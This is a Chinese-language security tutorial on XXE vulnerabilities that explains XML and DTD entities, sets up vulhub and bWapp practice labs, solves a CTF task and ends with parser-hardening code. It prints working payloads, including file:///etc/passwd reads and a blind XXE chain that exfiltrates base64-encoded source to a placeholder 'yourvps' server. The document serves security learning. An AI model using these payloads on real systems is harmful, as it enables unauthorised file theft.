出品|MS08067實驗室(www.ms08067.com)
本文作者:可樂(Ms08067實驗室Web小組成員)
前言
寫這篇的主要目的是因為很多CTFer還有一些安全人員不是很清楚xxe漏洞,還有在面試當中,xxe漏洞也經常被問到,所以就寫這么一篇文章來學習xxe漏洞. 本篇會結合一些靶場還有CTF來進行講解
基礎
首先來介紹一下XML和DTD
XML被設計用來傳輸和存儲數據,這里提一下xml與html的區別:HTML 旨在顯示信息,而 XML 旨在傳輸信息
而DTD定義 XML 文檔的合法構建模塊,它使用一系列的合法元素來定義文檔結構,DTD 可被成行地聲明於 XML 文檔中,也可作為一個外部引用。
XML和DTD基礎
一個 XML 文檔實例:
<?xml version="1.0" encoding="ISO-8859-1"?>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
第一行是 XML 聲明。它定義 XML 的版本 (1.0) 和所使用的編碼 (ISO-8859-1 = Latin-1/西歐字符集)。
接下來加上DTD進行聲明
內部的 DOCTYPE 聲明
<?xml version="1.0"?>
<!DOCTYPE note [ //定義此文檔是 note 類型的文檔。
<!ELEMENT note (to,from,heading,body)> //定義 note 元素有四個元素:"to、from、heading,、body"
<!ELEMENT to (#PCDATA)> //定義 to 元素為 "#PCDATA" 類型
<!ELEMENT from (#PCDATA)> //定義 from 元素為 "#PCDATA" 類型
<!ELEMENT heading (#PCDATA)> // heading 元素為 "#PCDATA" 類型
<!ELEMENT body (#PCDATA)> //定義 body 元素為 "#PCDATA" 類型
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
DTD元素
在一個 DTD 中,元素通過元素聲明來進行聲明。
聲明一個元素
在 DTD 中,XML 元素通過元素聲明來進行聲明。元素聲明使用下面的語法:
只有 PCDATA 的元素
只有 PCDATA 的元素通過圓括號中的 #PCDATA 進行聲明:
<!ELEMENT 元素名稱 (#PCDATA)>
例子:
<!ELEMENT from (#PCDATA)>
帶有任何內容的元素
通過類別關鍵詞 ANY 聲明的元素,可包含任何可解析數據的組合:
<!ELEMENT 元素名稱 ANY>
例子:
<!ELEMENT note ANY>
帶有子元素(序列)的元素
帶有一個或多個子元素的元素通過圓括號中的子元素名進行聲明:
<!ELEMENT 元素名稱 (子元素名稱 1)>
或者
例子:
<!ELEMENT note (to,from,heading,body)>
聲明只出現一次的元素
<!ELEMENT 元素名稱 (子元素名稱)>
例子:
<!ELEMENT note (message)>
上面的例子聲明了:message子元素必須出現一次,並且必須只在 "note"元素中出現一次。
外部文檔聲明
<!DOCTYPE 根元素 SYSTEM "文件名">
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
這個 XML 文檔和上面的 XML 文檔相同,但是擁有一個外部的 DTD
這是包含 DTD 的 "note.dtd" 文件:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
DTD實體聲明
重點介紹實體聲明
內部實體聲明
<!ENTITY 實體名稱 "實體的值">
DTD 例子:
<!ENTITY writer "Bill Gates">
將writer 聲明為”Bill Gates”,copyright 聲明為 “Copyright W3School.com.cn”
XML 例子:
<author>&writer;©right;</author>
注釋: 一個實體由三部分構成: 一個和號 (&), 一個實體名稱, 以及一個分號 (😉。
<!DOCTYPE foo [
<!ENTITY xxe "sec test" >
]>
<root>
<name>&xxe;</name>
</root>
外部實體聲明
外部實體引用支持通過協議,來動態的獲取值
<!ENTITY 實體名稱 SYSTEM "URI/URL">
例子:
DTD 例子:
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
XML 例子:
<author>&writer;©right;</author>
可以通過file://
協議來讀取文件內容
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<root>
<name>&xxe;</name>
</root>
不同語言支持的協議不同
參數實體:
<!ENTITY % 實體名稱 "實體的值">
or
<!ENTITY % 實體名稱 SYSTEM "URI">
參數實體只能在DTD中申明,DTD中引用,它們使用百分號(%)而不是與字符(&),可以是命名實體或外部實體。,能夠解析實體或者uri,進行xml解析,進而獲得其中的變量
注:一般用於Bline XXE
<!ENTITY % style "2333">
<!ENTITY % test "%style">
公共實體聲明
<!ENTITY 實體名稱 PUBLIC "public_ID" "URI">
XXE漏洞
當允許引用外部實體時,通過構造惡意內容,可導致讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等危害。
xxe漏洞觸發的點往往是可以上傳xml文件的位置,沒有對上傳的xml文件進行過濾,導致可上傳惡意xml文件
如果xml能夠被解析,比如輸入
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name "my name is nMask">]>
<root>&name;</root>
如果頁面輸出了my name is nMask,說明xml文件可以被解析。
接下來測試是否支持DTD引用外部實體而導致xxe注入
<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY % name SYSTEM "http://localhost/index.html">
%name;
]>
可通過查看自己服務器上的日志來判斷,看目標服務器是否向你的服務器發了一條請求index.html的請求。
接下里安裝漏洞環境
本人在centos下,安裝docker后
git clone https://github.com/vulhub/vulhub.git
進入/vulhub/vulhub/tree/master/php/php_xxe
輸入pip install docker-compose
即可
環境啟動后,訪問http://your-ip:8080/index.php即可看到phpinfo
www目錄包含四個文件
├── dom.php # 示例:使用DOMDocument解析body
├── index.php #phpinfo()
├── SimpleXMLElement.php # 示例:使用SimpleXMLElement類解析body
└── simplexml_load_string.php # 示例:使用simplexml_load_string函數解析body
SimpleXMLElement.php
<?php
$data = file_get_contents('php://input');
$xml = new SimpleXMLElement($data); //解析xml
echo $xml->name;
dom.php
<?php
$data = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($data);
print_r($dom);
simplexml_load_string.php
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;
首先測試是否能夠解析xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<root>
<name>&writer;©right;</name>
</root>
內部實體
外部實體
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
參數實體
當沒有回顯即沒有這個語句的時候echo $xml->name;
該怎么辦呢
這個時候我們可以利用參數實體,通過發起http請求來攻擊。
先進行參數實體聲明看看~
在遠程服務器新建xxe.dtd文件,內容為:
<!ENTITY evil SYSTEM "file:///etc/passwd" >
xml內容為
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://ip/xxe.dtd" >
%xxe;
]>
<root>
<name>&evil;</name>
</root>
相當於:
<!DOCTYPE foo [
<!ENTITY % xxe "<!ENTITY evil SYSTEM 'file:///etc/passwd'>" >
%xxe;
]>
<root>
<name>&evil;</name>
</root>
如果目標服務器沒有回顯,就只能用 Blind XXE 了。原理就是帶着獲取的文件源碼以 get 參數或其他形式去訪問我們的服務器,然后在日志里就可以找到我們要獲取的內容了。
先在我的服務器建一個xxe.xml文件,內容為:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://yourvps/%file;'>">
接下來讀取內容,我們提交
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml">
%dtd; %all;
]>
<value>&send;</value>
整個的調用過程如下:解析時%dtd引入xxe.xml,之后%all引入send的定義,最后引用了實體send,把%file文件內容通過一個http請求發了出去。注意需要把payload經過url編碼。
然后在服務器的log中看到base64加密后的內容(/var/log/httpd/access.log)
使用bWapp學習
環境搭建:
vulstudy是專門收集當下流行的漏洞學習平台,現在用它來一鍵搭建bWapp
下載vulstudy項目
git clone https://github.com/c0ny1/vulstudy.git
cd vulstudy/bWapp
docker-compose up -d #啟動容器
注:第一次創建應事先訪問/install.php來創建數據庫
安裝好之后,Choose your bug 選擇 XML External Entity Attacks (XXE)
先抓包
xxe-1.php頁面在向xxe-2.php頁面傳輸數據過程中,其中的xml數據是可控的,也就是說可以構造惡意數據進行傳輸,添加一個外部實體在XML數據中進行實體調用,從而進行XXE攻擊。
CTF
http://web.jarvisoj.com:9882/
獲得目標機器/home/ctf/flag.txt中的flag值。
將Content-Type的值改為application/xml,然后提交xml發現能夠被解析
於是修改payload為:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt" >
]>
<root>
<name>&xxe;</name>
</root>
防御
禁用外部實體
php
libxml_disable_entity_loader(true);
java
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
python
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
參考
https://blog.csdn.net/com_ma/article/details/73277535
https://github.com/c0ny1/xxe-lab
https://www.freebuf.com/articles/web/126788.html
https://www.freebuf.com/column/188849.html
https://www.ibm.com/developerworks/cn/xml/x-entities/
轉載請聯系作者並注明出處!
Ms08067安全實驗室專注於網絡安全知識的普及和培訓。團隊已出版《Web安全攻防:滲透測試實戰指南》,《內網安全攻防:滲透測試實戰指南》,《Python安全攻防:滲透測試實戰指南》,《Java代碼安全審計(入門篇)》等書籍。
團隊公眾號定期分享關於CTF靶場、內網滲透、APT方面技術干貨,從零開始、以實戰落地為主,致力於做一個實用的干貨分享型公眾號。
官方網站:https://www.ms08067.com/
掃描下方二維碼加入實驗室VIP社區
加入后邀請加入內部VIP群,內部微信群永久有效!